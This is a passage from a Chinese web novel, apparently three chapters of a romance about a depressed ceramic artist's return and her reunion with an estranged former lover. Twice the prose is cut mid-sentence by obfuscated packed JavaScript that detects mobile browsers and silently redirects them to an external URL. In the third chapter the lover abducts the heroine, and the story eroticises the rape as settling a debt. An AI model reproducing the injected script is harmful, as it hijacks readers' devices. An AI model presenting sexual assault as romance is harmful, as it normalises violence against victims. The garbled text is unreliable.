《看见你的声音》 1. 心悸 《看见你的声音》 文/岁渝 2025.03.28 十二月,宜淮国际机场。 飞机里的广播响起:“女士们,先生们,我们的飞机即将降落在宜淮国际机场,请您再次确认安全带是否系好,在舱门开起之前请不要打开手机电源,谢谢。” 一直闭目养神的时听语缓缓睁开眼侧头望向窗外,看着外面这片地域,心底涌上一种说不出的复杂情绪,这座城市对她来说既陌生又熟悉。 她并不是宜淮人,以前也从来没有来过这里,莫名觉得熟悉只是因为,他在宜淮。 飞机滑轮触地的那一瞬间带来的巨大惯性,将时听语从思绪中拉了回来。 飞机刚降落,还在跑道上缓慢滑行,但客舱中大部分乘客已经纷纷解开安全带,有些甚至起身开始收拾东西,丝毫不在意广播中乘务员的安全提醒。 与周围着急忙慌收拾行李等待下飞机的乘客不同,时听语倒是稳稳地坐在座位上,等飞机停稳后她第一时间打开了手机。 手机刚恢复信号,微信就弹出了消息。 【砚舟哥:落地了告诉我。】 孟砚舟是她这么多年在法国唯一可信赖的朋友,这次回国也是因为他劝说了很久。 【时听语:砚舟哥,飞机已经降落了。】 下一秒孟砚舟就回了消息。 【砚舟哥:好,我在机场外面等你。】 收到孟砚舟的消息后,时听语才连忙收起手机,起身跟在最后一批乘客后面下了飞机。 时听语虽然是最后下的飞机,可到了转盘那里还是等了半天才拿到了自己的行李。 她将两个大行李箱放上行李车,一边推着车出机场,一边给孟砚舟发着消息,解释自己半天没出来的原因。 刚一出机场,时听语就看到了在人群中格外显眼的孟砚舟。 清秀俊朗的五官,温润如玉的气质,他一身笔挺的黑色西装外套了一件长款羊绒大衣,怀里还抱着一束鲜花。 看到时听语出来,孟砚舟冲她招了招手。 她加快步伐走过去,笑着喊了一句“砚舟哥”。 孟砚舟将怀里的鲜花递给时听语:“欢迎回国,听听。” “谢谢。”时听语很自然地接了过来。 “飞了这么长时间肯定饿了吧,走吧,先带你去吃饭。” 孟砚舟推过行李车,很自觉地站到了时听语的右侧,两人并肩朝着停车场的位置走去。 俊男美女的组合倒是吸引了不少路人的目光,有人甚至还拿手机悄悄拍照,时听语被看的有些不自然,默默从口袋里掏出口罩带上了。 孟砚舟见状倒是打趣起时听语:“怎么,我们的时艺术家难道怕明天上热搜吗?” “说的好像你很希望一样。” “嗯,我是很希望。”孟砚舟顿足看向时听语,他承认这看起来的玩笑话之中还是藏了那么一点私心。 时听语盯着孟砚舟看了几秒后还是躲闪开了他的眼神,立刻岔开话题:“对了,工作室找的怎么样了?” 孟砚舟扶了一下金丝眼镜,淡淡笑了一下,可眼底还是带了一丝不易察觉的失落。 “我办事你还不放心吗?你的工作室呢,我已经帮你选好位置了,今天不早了,我明天带你去看。” 时听语点点头,连忙说:“砚舟哥,谢谢你,房子的租金我之后打给你。” 孟砚舟正往后备箱放着行李,头也没抬地回道:“我们俩之间还说这些是不是就太见外了。” 这些年,时听语最不想欠的人就是孟砚舟,从金钱到人情,她每一项都算的分明。 “话不是这么说的,亲兄妹之间还要明算账呢。” 孟砚舟没再说话,时听语知道沉默表明他同意了。 两人之间的那层微妙的窗户纸从未捅破,但这不代表时听语不知道孟砚舟的想法。 可他们两个人,一个装傻不接受,一个坚持不死心。 对她来说,他们之间可以是朋友、兄妹、合作伙伴,但唯独不能是爱人。 爱人如果分开就是真的失去了,她这辈子有一次就够了。 这个世界上,她只剩孟砚舟了,她不想也不愿意再失去他。 “发什么呆呢?”孟砚舟伸手在时听语面前晃了晃,“上车,带你去吃饭。” 时听语回过神,跟着孟砚舟上了车。 她对宜淮并不了解,所以也没问孟砚舟要去哪里吃饭。 其实说起来,孟砚舟也就比她早了一个月来宜淮,可现在听他介绍起来,仿佛一个在这里生活了很久的人。 车开了半天,最后停在了一处西餐厅店门口。 “这家店的法餐还挺正宗,你尝尝看。” 时听语现在并不饿,所以对于吃什么也不挑,她跟在孟砚舟身旁进了餐厅。 两人刚一进门,服务员就热情上来接待:“您好,请问有预约吗?” 孟砚舟点了下头,报出了自己的名字。 “好的,孟先生,您两位这边请。” 落座后服务员贴心递上两本菜单,时听语接过后也没有翻开看,只是对着对面的孟砚舟说:“砚舟哥,你来点吧。” 孟砚舟并没有推脱,他太了解时听语喜欢吃什么了,拿着菜单几乎没有思考的就点完了菜。 “听听,这个是你住的房子的钥匙,吃完饭我送你过去。”孟砚舟将一串钥匙推到时听语面前。 时听语本来的打算是先住酒店,等工作室弄好她就住在工作室里面就好,反正她就一个人,没想到孟砚舟还给她租了房子。 有了刚才的前车之鉴,孟砚舟赶在时听语还没开口前连忙解释道:“这房子是我一个朋友的,他有事要出国待一段时间,所以走之前就拜托我帮忙照看一下。” “我已经跟他找过招呼了,他也很乐意你住进去给他添点人气,总比空着好,你就安心住着,他不要你付租金。” “这样不太好吧。”时听语有些犹豫,毕竟房子的主人她又不认识,还要免费住。 “你要真的觉得住的不安心,不如你之后的陶艺作品随便送他一件就好,我们时艺术家的作品现在可是一件难求呢。” 时听语被孟砚舟逗笑了,她现在所拥有的那些虚名不过是因为她有一个享誉国际的师傅外加孟砚舟这个著名的艺术经纪人罢了。 两人正说着话服务员已经端上来了前菜。 孟砚舟开口:“听听你尝尝,看看味道怎么样。” 时听语切了一小块鹅肝放进嘴里,其实很久以来哪怕再好吃的美食,她吃起来都会觉得味道很淡很苦,但又不想让孟砚舟担心,所以不管他带她去吃什么,她都只会说好吃。 “味道挺好的,跟我们在巴黎吃的差不多。” 孟砚舟倒了一杯热水递给时听语:“你喜欢就好。” 时听语又勉强吃了两口就放下了刀叉,端起一旁的水杯正要喝水的时候,余光不经意间瞥到了不远处服务员正领进来的两个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420203|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 在看到那个男人的一瞬间,时听语觉得自己浑身的血液都凝固了,身体就好像一具被抽干了灵魂的躯壳,心也不由得开始发慌。 一时间周围好像被突然按下了暂停键,她感觉到自己身上的温暖在一点点消逝,耳畔又莫名开始响起那熟悉的声音。 “时听语,你没有心。” “你就是这样对待我的吗?你他妈玩我跟玩狗一样。” “我顾嘉珩这辈子,都不想再看见你。” …… 那个名字响起的瞬间,时听语被人骤然拉回现实。 眼前白茫茫的一片迷雾渐渐散去,孟砚舟一脸焦急的面容逐渐清晰。 他半蹲在时听语身侧,手还扶在她的肩膀上。 “听听你怎么了?身体不舒服吗?” 时听语缓了两秒,倏地呼了一口气,微微颤抖的手握紧了面前的水杯,猛喝了几口。 她尽力想使自己平静下来,可是心却跳得好快,刚才骤然的疼痛包裹着心脏蔓延开来,现在还有些喘不上来气。 时听语知道她没有随身携带着药,出发前她塞进了行李箱里,但现在她不能让孟砚舟担心。 “我没事,刚才就是有点走神了。” 看见孟砚舟坐回去,时听语才敢在桌下用手狠狠掐着自己的虎口,想要来缓解疼痛,可额头却已经浸出了一层冷汗。 “不舒服的话我们就先回去吧,饭什么时候都可以吃。” 时听语轻轻摇了下头,她自己的身体她自己最清楚,她还能再坚持一下。 时听语又悄悄抬眼朝着顾嘉珩落座的那里看去,恰好跟那桌的女孩子撞上了目光。 只一眼,她就知道那个女孩子也是一个出身不错的,跟他应该是良配。 时听语收回视线,扯着嘴角苦笑了一下,目光也沉了下去。 最终她还是没坚持到这顿饭结束,孟砚舟看出她的不对劲,匆忙叫来服务员结了账,然后牵着时听语的手快速出了门。 孟砚舟先看着时听语坐上车,然后转身去后备箱的行李中找出来了药。 他从后备箱拿了一瓶矿泉水,三两步上车,拧开瓶盖递给时听语。 看着她吃了药,孟砚舟才松了一口气,语气焦急却没有一丝责备:“你又没有按时吃药。” 缓了一会儿,时听语觉得好了很多,她看了一眼驾驶位的人,有些心虚。 “药还是少吃一点为好。” 孟砚舟启动车子,语气也沉了下来:“听听,别让我担心你,好吗?” 他没有追问刚才时听语怎么了,虽然她的抑郁症有些严重,但也不会在没有任何刺激下毫无征兆地出现躯体化的现象。 可她不想说,那他就不问。 车内寂静了很久,时听语的大拇指一直摩挲着左手腕上的手表带,很久才缓缓开口:“好。” 两人都没有再开口,时听语摇下了车窗,冷冽的风顿时扑面而来。 她的头发被风肆意吹动,她伸手将吹到面颊前的长发别在耳后,可风又会吹散,她一次次重复着却无济于事。 就好像她跟顾嘉珩之间,不论她现在怎么去弥补,对他来说可能都没有意义。 孟砚舟伸手按了一下旁边的车窗按键,时听语那边的车窗缓缓被关上。 他语气又恢复了一贯的温柔:“晚上风凉,小心生病。” “砚舟哥。”时听语顿了顿,她也不想瞒着孟砚舟。 “可能你说的是对的。” 2. 重逢 孟砚舟侧头看了一眼时听语,他平日里对她说的话太多了,一时没明白过来她指的是哪一句。 时听语没有去管孟砚舟的反应,像是自言自语一般:“刚才我在餐厅里看见他了。” “刺——” 车子猛然一个急刹,时听语上半身被惯性带着向前猛的一倾,又被卡着的安全带拉了回来。 她抬头看向车前,路口亮着的红灯有些格外的刺眼。 “抱歉。” 孟砚舟为自己刚才那一刻的分神道歉,时听语没有说名字,但孟砚舟知道她口中的那个他是谁。 时听语一边调整着自己的安全带,一边慢悠悠开口说:“他身边还带了一个女孩子,看上去他们俩个人的关系不错,大概……是他的女朋友吧,或者他结婚了也说不定。” 都过了这么多年,时听语觉得他结婚了或者有女朋友都很正常,可真的亲眼看到后,心里的那股酸涩感还是挥之不去。 “那你呢?如果知道他现在过得不错之后,能放下之前的那些事了吗?” 时听语没回答,眼眶泛红的瞬间赶紧撇过头看向外面。 她知道的,其实,十年前的那场大雨早就停了,只是她的雨天还在。 她被困在其中,漫长的潮湿一点一点侵蚀着她,直到最后被完全吞噬。 不知隔了多久,时听语才淡淡回了一句“我不知道”。 孟砚舟也没再说话,他知道时听语这是心病,心病还需心药医,时间或许是最好的解药,不管要花多久他都会一直陪着她。 车开到小区楼下,孟砚舟下车将行李拿下来,领着时听语上了楼。 钥匙开门后他先将行李放了进去,但人还站在门外。 “今天太晚了,我就不进去了,你也早点休息吧,要是有什么问题就给我发微信。” 时听语点点头,对着孟砚舟叮嘱说:“好,那你回去的时候路上注意安全,明天见。” “明天见。” 孟砚舟走的时候还不忘带了上门,时听语将行李推到客厅里面,她倒是没有着急收拾行李,先在房间里简单转了一圈。这房子不大,两室一厅一卫,东西倒是一应俱全。 十几个小时的长途飞行让时听语感到了一丝疲惫,她打开行李拿出了换洗的衣服和洗漱用品,径直走进了卫生间。 简单洗了一个热水澡出来之后,她拧开了桌上的一瓶矿泉水,从行李箱里翻出来安眠药,喝了一口水吞咽了下去。 时听语已经记不清从什么时候开始,她睡觉全靠安眠药才能勉强睡一会儿,连医生都不建议她依赖这个,可她没有办法。 她躺在床上,满脑子还都是今天碰见顾嘉珩的场面。 有些人即使多年未见,但依旧熟悉到只匆匆一眼就能认出来。 也不知道是安眠药起了作用,还是她真的太累了,竟然一觉睡到了天亮。 时听语醒来的时候看了一眼手机,已经七点多了,她还有一霎那的恍惚,自己竟然安安稳稳睡了一觉。 手机突然响了一声,时听语滑动解锁点开了微信消息,是孟砚舟。 【砚舟哥:醒了吗?醒了我就过去找你。】 时听语坐起身给孟砚舟回了一个消息,然后下床快速洗漱并且画了一个淡妆。 昨晚住进来匆忙,冰箱里还什么都没有准备,时听语看着空荡荡的冰箱心想算了,反正她也经常不吃早饭了。 她估量着孟砚舟还得等一会儿才能到,就开始收拾昨晚扔在客厅的行李箱,刚收拾完其中一个,门铃的响声就传了进来。 时听语连忙放下手中的东西,小跑着过去开门。 门一打开,两份塑料袋装好的早餐就出现在眼前。 “还没吃早饭吧?”孟砚舟提着袋子走进来,“我买了一点小笼包还有生煎。” 闻着从袋子里飘出来的香味,时听语摸摸肚子倒真觉得有点饿了。 时听语坐到餐桌前,从袋子拿出来一次性筷子递给孟砚舟:“你也一起吃吧,这么多我一个人也吃不完。” “好。” 时听语觉得自己的确是饿了,早餐倒是破天荒吃了不少,连孟砚舟都觉得她今天食欲大增。 早饭吃完,孟砚舟就开车带着时听语去了他选好的工作室的地点。 看着面前高楼林立的大厦,时听语知道在这繁华的CBD里,房租一定不便宜。 孟砚舟领着时听语走到门口,两侧巨大的落地玻璃窗显得格外的有艺术气息,如果装修好了,倒是很好的宣传展台。 孟砚舟推门进去,跟时听语介绍着:“这个房子一共上下两层,外加一个院子。” 时听语环视了一圈说道:“这用来做工作室还挺大的呢。” “这还大吗?我还觉得地方有点小了,毕竟这个区域很难找到很大的还很适合的房子。”孟砚舟站在屋子中央,“你看,后面这片大的院落我们可以开一个陶艺教室,平时就招待一些客人来体验diy。” “前厅就是我们的前台和一些展品放置的地方,楼上还有两间,一间可以作为你的办公室,另一间做会议室。” 孟砚舟笑笑:“怎么样?我们的时大艺术家,这房子还满意吗?” 房子自然是满意的,时听语知道在这寸土寸金的地界能找到这么合适的位置可是废了不少功夫,她都不知道该怎么感谢孟砚舟。 时听语站在院落中央,回头看向孟砚舟:“当然满意了,回头你把合同发我,租金我转给你。” 这些年时听语也是攒了一部分钱,房租这方面她还是支付得起的。 “这事儿我们回头再聊。”孟砚舟明显不想在这个话题多做停留,“那我们最近可有的忙了,得好好设计一下这里。” * 从那天看了工作室之后,时听语这一个月简直忙的连轴转,先是联系了好几家设计公司,光设计图就设计了好多版,又加上跟设计师们各种沟通协调,花了小半个月才最终敲定好她满意的设计风格图。 装修她也是亲力亲为,来的比工人早,走的比工人晚,生怕出一点差错。 “都这么晚了怎么还不走啊?”孟砚舟提着外卖推门进来,看见时听语还蹲在地上对设计图勾勾画画。 时听语抬头,笑笑说:“想再看看还差点什么。” “行了,快过来吃饭吧,我看着这装修的也差不多了,别还没开业就把自己累着了。” 说着孟砚舟将一份海鲜粥放到时听语面前的桌子上:“对了,我今天下午的时候收到一份请帖。” “什么请帖?” “嘉仁医院要主办一场关爱听障儿童的慈善拍卖晚宴。”孟砚舟拿出请帖递给时听语,问道,“你想去吗?” 时听语的左耳先天性失聪,从小就一直戴着助听器,不过出国后她倒是很少再戴,孟砚舟也没有问过其中缘由,只是每次都会特意站在她的右侧说话。 时听语打开请帖,看到受邀人写的竟然是自己的名字,她有些疑惑:“他们怎么会给我发请帖?” 她左耳听不见的事情几乎没什么人知道,更何况回国的事情也还没有对媒体透露。 “澜石艺廊的老板Eric是此次的赞助商之一,他知道你在国外经常参加这类活动,所以就想着看看你有没有时间参加。” 时听语知道孟砚舟跟这些艺廊的老板交往密切,所以知道她回国也不是什么稀罕事儿,而且之前在国外的时候她确实因为自己耳朵的问题更加关注这类群体,也经常会去参加这类活动。 她也没有再多问,就一口答应会去参加。 孟砚舟比了一个OK的手势:“衣服和鞋到时候我给你送过去。” 宴会当天孟砚舟特意早早到了时听语住处,将提前准备好的礼服和鞋给了她。 “都是你的尺码,应该是合身的。” 时听语从不在这方面上心,在国外有正式场合要出席的时候,她的造型搭配也都是孟砚舟在管。 时听语在房间里快速换好衣服,她看着镜中一袭红色吊带开衩长裙的自己,不禁感到有些陌生。 衣服完美贴合她的身材,可她就是觉得现在的自己像极了一件包装精致的礼物,而不是真正的自己。 时听语轻轻叹了口气,将长发简单挽到了脑后,开门走了出去。 看见时听语出来,孟砚舟有那么几秒的愣神。 平时的时听语几乎不怎么打扮,即使化妆也只是简单淡妆,都遮挡不住她那张清纯无害的脸,稍加打扮更是美的让人移不开眼。 “砚舟哥?”时听语轻声唤了一句。 孟砚舟回过神清了清嗓子,装作很忙的样子低头看了一眼手表:“走吧,该去宴会了。” 举办晚宴的宴会厅离时听语住的地方并不远,车刚驶入酒店,时听语就注意到了酒店门口大厅外铺着的红毯,一堆记者围在那里。 她提前查了这场慈善晚宴,这场由嘉仁医院主办的慈善晚宴可谓是声势浩大,宜淮市基本上有头有脸的人物都会来参加。 车停在了红毯中央,侍从拉开了车门,时听语虽然外面套了一件毛呢披风,可打开车门的一瞬间,还是不禁打了一个冷颤。 大冬天穿晚礼服真不是人能忍受的事。 孟砚舟将钥匙扔给侍从,快步朝时听语走过来,虚揽着她朝酒店里面走去。 门外站着的一堆记者对于时听语这张陌生的面孔并没有很在意,但还是有那么几个记者认出了她,这位刚出道就靠着一件陶艺作品在法国名声大噪的时听语。 很明显他们对于在这里见到时听语很是意外,立刻走上前拦住两人。 “时小姐,您好,没想到能在这里遇到您,这是您第一次在国内亮相,请问您是打算回国发展了吗?” “您在‘回忆’这件作品之后有很长一段时间都没有新的作品,请问您最近有在准备什么新的作品吗?可以详细给我们说说吗?” …… 记者的问题一个接一个,时听语虽然没有准备,但基本的职业素养还是让她保持了微笑。 她显然没有料到这里会有记者把她认出来,毕竟比起今天来的那些重量级嘉宾,她实在算不得什么。 孟砚舟感受到了怀里的时听语冷的在发抖,他稍上前一步挡在了那些记者面前。 “不好意思各位,这些相关的问题我们会另外找时间接受采访,今天算是我们的私人行程,所以不太方便回答各位的问题,实在抱 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Eric的介绍她一个字都听不进去,但还是在听见耳鼻喉科这几个字的时候,下意识地晃了下神。 上次见面只是匆匆一瞥,她便不敢再多看一眼。 这次倒是看了个清清楚楚,现在的顾嘉珩跟高中的时候简直是判若两人。 褪去了少年时期的青涩稚嫩,男人的五官倒是更加立体,最主要的变化还是那双眼睛,眼神中透露着清冷疏离之感。 一身名贵定制西装无不显示出他的矜贵气质,可就是冷的让人无法靠近。 看着面前面无表情的人,时听语垂下了眼眸,觉得大概是自己自作多情了,他当医生可能只是个巧合罢了。 “顾医生,这位是我的老朋友了,孟砚舟,著名的艺术经纪人。他旁边这位时听语小姐现在可是国际上炙手可热的新锐陶艺师。” 时听语抿了抿唇,还是抬起头,微笑着朝顾嘉珩伸出了手:“顾医生,很高兴认识您。” 可顾嘉珩神色漠然,连手都懒得伸,只淡淡地说了一句:“时小姐,幸会。” 在场的气氛突然有些尴尬,时听语的手僵在半空中,可顾嘉珩好像丝毫不在意,又扫了一眼旁边的孟砚舟,嘴角带了些漫不经心的笑意:“不好意思两位,我还有事,先失陪了,你们聊。” 时听语缓缓收回手,略带些尴尬的笑,Eric倒是品出了一丝不寻常,可生意人看破不说破的道理他还是懂,连忙岔开话题打圆场。 时听语并不会想到顾嘉珩跟嘉仁医院会有什么联系,也没有想到两人会在这种场合下尴尬见面。 整场拍卖晚宴她都心不在焉,顾嘉珩作为主办代表坐在最前方,从时听语的位置看过去,正好可以看到他的侧脸。 从刚才简单碰面之后,顾嘉珩没有朝她这里再投来过一个眼神,就好像她只是一个陌生人。 时听语收回目光,闭上了眼睛。 也对,在他心里,她可能还不如一个陌生人。 “听听,你还好吧?”孟砚舟伸手握住了时听语攥成拳头的手,轻声地问。 时听语睁开眼,摇了摇头,停了几秒钟又说:“砚舟哥,快结束了,我先去一下洗手间。” “我陪你去。” 时听语将披肩递给孟砚舟,笑了一下说:“没事,我自己可以的。” 说完便从后面离开了宴会厅,她环抱着自己的双臂,脚步虚浮地走进了洗手间。 时听语将水龙头打开,双手撑在大理石的洗手台上,死死盯着镜中的自己。 她看着镜中那个画着完美妆容的人,眼前竟然浮现出高中那个时候被同学孤立霸凌的自己。 时听语眼圈有些泛红,她甚至想骗自己顾嘉珩没有认出她,可通过他刚才的反应看,是自己在异想天开。 她伸手去触碰那冰凉的水,刺骨的凉倒让她清醒了一点。 时听语关掉水龙头,从包里掏出气垫又补了下妆,简单整理了下头发,转身离开洗手间。 她朝宴会厅方向回去的路上,路过楼梯间门口的时候,从门外突然伸出一只手,一把将她拉进楼梯间。 时听语没有反应过来,下意识刚要开口喊救命的时候,楼梯间的声控灯突然亮了。 在看清那人面孔后,那声救命就硬生生被卡在了她的喉咙里。 顾嘉珩一只手拽着时听语,另一只手随手将楼梯间的门重重关上。 他将人抵在墙上,单手扣住她的后颈,没有给她丝毫开口的机会,俯身下来,失控一般地吻上她的唇。 时听语下意识用手去推他,却被他一把钳住手腕反扣在身后。 顾嘉珩的吻带有强烈的占有欲,他撬开时听语的牙关,肆意的攻城略地。 没有一丝的温柔,从她的唇到脖子再到锁骨,他好像要将她整个人吞噬其中。 良久,顾嘉珩才松开她。 黑暗中有些微凉的唇靠近在时听语的右耳畔,他带了些轻佻的语气,说道。 “多年未见,时小姐还跟以前一样没有心啊。” 3. 讨债 楼梯间的灯又忽然亮起,黑暗中突然的亮光刺眼到让时听语下意识闭上了眼。 顾嘉珩离得很近,近到时听语可以感受到他上下起伏的胸腔,他鼻腔温热的气息喷洒在自己的颈窝处。 他微微垂眸,盯着她锁骨处自己刚留下的红印,眼底满是不甘心的醋意。 “这是你欠我的。” 时听语有些不懂他到底想要干什么。 “时小姐这些年过的倒是滋润,摇身一变成了大艺术家,怕是早就忘了我吧。” “顾嘉珩,我……” “嘘。”顾嘉珩做了一个噤声的手势打断了时听语的话,“这是你第二次装作不认识我了。” 原来那天在餐厅,他就认出了她。 看着顾嘉珩那双眼睛,时听语想要道歉的话就卡在喉咙里,一个字都说不出来。 她之前就打趣过他,说他长了一双看狗都深情的眼睛,现在再看依旧会沦陷其中,哪怕现在看向她的那双眸子中只有冷意。 “不如我们玩个游戏吧,看看你要是失踪了,你那位男朋友会不会着急?” 顾嘉珩说完,不给时听语反应直接拦腰将她扛在肩上,大步朝楼梯走下去。 一股莫名的恐慌在心底蔓延,时听语用力挣扎道:“你放开我,我不想跟你玩什么无聊的游戏。” 可她的力量到底不能跟一个男人相抗衡,顾嘉珩快步走到车旁,一旁开门的侍从看了一眼也不敢说什么,他硬生生将时听语塞进车里,接过钥匙上车后一脚油门开了出去。 时听语不知道顾嘉珩要带她去哪里,她的包也被他随手扔在了后座上。 算起来时间她已经从宴会上出来很久了,也没有任何的只言片语,她有些担心孟砚舟找不到她。 果然没几分钟,一阵手机铃声从后面的包里传来,时听语侧身朝后想要去拿后面的包,却一把被顾嘉珩按住。 他勾了下唇,带着几分讥讽语气:“怎么,就这么怕你的男朋友担心吗?” 时听语怔怔地看着他,不知道他这样的目的是什么。 顾嘉珩好像看穿了她的想法似的,嗤笑了一声:“别这样看着我,我当初就说过这辈子别再让我看见你,现在你既然出现了,那我们之间的债也该清一清了。” 时听语甩开他的手,偏过头看向窗外,心脏不知不觉间又开始隐隐作痛。 顾嘉珩把车开的飞快,越往前开渐渐地路上几乎看不到任何车辆和行人,路尽头拐弯,一栋栋别墅出现在眼前。 时听语扭头看向顾嘉珩,即使强装镇定但还是能听出来声音有些颤抖:“你带我来这干什么?” “一会儿不就知道了。” 车稳稳地停在车库,顾嘉珩下车一手提着时听语的包,一手拽着她往里走。 包里的手机一路上不断地响着,可顾嘉珩就好像没听见一样,直到进了家门才松开时听语。 他随手将包扔在沙发上,时听语想要走过去拿却又被他一把拉了回来。 顾嘉珩的手揽住时听语的腰,稍稍用力她便禁锢在自己怀里,虽然她一句话都不说,但顾嘉珩知道她在生气。 “呵,你还真的挺在意你的男朋友啊,我当初怎么没有这样的待遇呢?” 时听语觉得他可能只是想给自己找点不自在,毕竟他身边已经有了那天在一起的女生,所以她跟孟砚舟的关系也没必要向他解释清楚。 见时听语不说话,顾嘉珩松开她:“你现在可以给他回电话了。” 时听语抬眼盯着他看了几秒,仿佛在确认,见他确实没什么动作,才连忙转身去沙发那里拿手机。 她半蹲在沙发旁,从包里掏出手机,解锁发现孟砚舟已经打了十几个未接电话还发了一堆消息。 她正要回复信息的时候顾嘉珩从她身后一把抢过来了手机,举过自己的头顶,时听语站起来想要拿回来,可她的身高怎么能够到。 “顾嘉珩,你到底想怎么样?” 顾嘉珩垂眸看了一眼时听语,倒像是故意的,他举着手机当着她的面,按下了给孟砚舟的电话。 时听语上前伸手想要拿回手机,却被顾嘉珩一把揽在自己怀里直接抵在了墙上。 电话下一秒被接通,顾嘉珩故意按了外放键,里面传来孟砚舟焦急的声音:“听听,你在哪里?我看你去了洗手间半天也没有回来,我找服务生进去找你,但你也没有在。” 时听语刚想要开口说话,顾嘉珩却直接吻了上来堵住了她的嘴。 与刚才在楼梯间不同,顾嘉珩这次是在挑逗一般地吻着她,身体的反应从不说谎,时听语感觉自己被他亲的浑身发软,她死死咬着自己牙关,生怕自己发出一丁点不好的声音让孟砚舟听到。 “喂?听听,你出什么事了吗?” 时听语到现在好像才明白刚才顾嘉珩说的清债是什么意思,他就是故意想羞辱自己。 电话里还在不断传来孟砚舟的声音,顾嘉珩听着心烦,下一秒直接挂断电话,关了机,随手扔到了沙发上。 他松开时听语,伸手捏住她的下巴,强迫她睁眼看着自己,一脸的轻佻与不屑,嘴上也没有任何留情:“怎么刚才不说话,你说......如果你男朋友知道你现在正在跟另一个男人接吻,你觉得他会怎么想?” “顾嘉珩,你混蛋!”时听语红着眼,从刚才在车上她的心脏就开始一抽一抽地疼,她不想让顾嘉珩知道她的病,只能寄希望于他能赶紧放自己走。 顾嘉珩轻笑一声:“呵,这就混蛋了,那我还有更混蛋的事情。” 顾嘉珩攥住时听语的手腕,拽着她进了卧室,然后狠狠摔到床上。 时听语刚想要起来,但半跪在床上的顾嘉珩一只手紧紧握住她的手腕,举过她的头顶将她反扣在床上,俯身压了下去。 没有任何的前戏,顾嘉珩就像是一头刚刚冲破禁锢的野兽,肆意地横冲直撞。 时听语疼的浑身都在发抖,眼泪不受控制的从眼角滑落,她甚至有些分不清现在到底是身体上更痛还是心里更痛。 “顾嘉珩,我……我疼。”时听语有些受不住。 “疼,你知道什么叫疼吗?”顾嘉珩根本没有因为时听语呜咽而停下来,反而变本加厉,“那些人拿着刀捅进我妈身体的时候,我妈该有多疼!时听语,你欠我的这辈子都还不清!那就受着吧!” 顾嘉珩像是要把积攒多年的一切不甘与怨恨都发泄在她身上。 时听语默默闭上了眼睛,把头偏向一旁,眼泪顺着眼角滑落,她咬着牙忍着,任由顾嘉珩肆意发泄。 高中的时候,学校里人人都可以欺负她,只有顾嘉珩会站在她身前去保护她。 他说哪怕全世界都不喜欢她,他也会为了她去抵抗全世界。 可现在,连他都在欺负自己。 时听语感觉自己心脏疼的有些喘不过气,但这种疼都比不上顾嘉珩刚才说的那句你欠我的更致命。 那是他妈妈的一条命,她欠他一条命。 顾嘉珩听到了时听语小声的啜泣声,脑子里的那根弦突然崩断开来,暂时的清醒让他停了下来,抬头看向时听语。 顾嘉珩伸手用拇指轻拭去她眼角滑落的泪,顿了几秒,眼神中又恢复那种满不在乎:“趁早收起你这副委屈巴巴的模样,你当初就是这样子骗了我妈,也骗了我。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15420205|169002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “但现在的我不会再被你这副样子骗了。” 顾嘉珩起身下床,从椅子上扯过来睡袍,弯腰捡起散落在地上的时听语的衣服,直接扔回床上。 “穿好你的衣服,滚出我家。”顾嘉珩头也不回地进了浴室,“我出来不想再看见你。” 时听语听见浴室传来水声,她用手撑着床,有些费力地坐起来,颤抖的手拿过自己的礼服挡在胸前,心底里那股酸涩感压的她喘不过来气。 她知道自己对于顾嘉珩来说,早就不是当初他想要捧在手掌心里的珍视的那枚珍珠了,就像这件拉链已经被扯坏的礼服,只不过是一件用完就可以随手丢掉的衣服罢了。 她穿好自己的衣服,下床的时候腿都有些发软,每走一步都能感受到小腹传来的撕裂一般的疼痛。 她朝着浴室看了一眼,敲了下门,颤抖的声音问道:“我可以穿件外套再走吗?” 里面的人并没有回应,时听语犹豫了一下,还是放弃了这个念头,哪怕自己现在就死了,他应该也不会在意,转身忍着痛一步一步慢慢朝门口挪去。 顾嘉珩听着外面渐渐没了动静,他刚才明明听见了,可一个字都没有回应她。 他明明应该恨她,恨她这些年过的若无其事,恨她从头到尾没有在意过自己,可就在刚才听见她哭,他还是会心痛。 时听语穿着单薄衣服的样子又出现在脑海中,顾嘉珩一拳头狠狠砸在了浴室的墙上。 他觉得自己一定是疯了。 疯了才会觉得自己担心她。 他关掉花洒,扯过一条毛巾胡乱擦了几下,迅速换好衣服,拿着车钥匙出了门。 他只穿了一件白衬衫,车库里的凉意还是让他打了一个寒战,他低声骂了一句,觉得刚才自己做的好像是有些过分。 时听语出来后一直沿着路往回走,大晚上这里又偏僻,她也打不到车。 她不知道自己到底是冻的还是躯体化又发作了,颤抖着手在包里翻了半天,她又没有随身带着药。 眼前的路好像没有尽头,时听语不知道自己走了多久,只觉得自己的脑袋越来越沉,连心脏的疼都逐渐被麻痹。 突然驶来的一辆车的远光灯照的她睁不开眼,她下意识伸手挡了一下,但身体还在机械性地迈着步子,直到撞到了一个人的怀里。 “听听,是我。” 孟砚舟见时听语的手冰凉,赶紧将自己的西装外套脱下披在她的身上。 “砚舟哥。”时听语缓了半天才看清眼前的人。 看着时听语恍恍惚惚的样子,再加上她脖颈上那些深浅不一的吻痕,孟砚舟一下子明白过来发生了什么。 “听听,走,我带你去报警。” “砚舟哥。”时听语拉住孟砚舟,眼泪止不住地流,但她也只是轻轻摇了摇头,“我有些不舒服,你带我回家吧。” 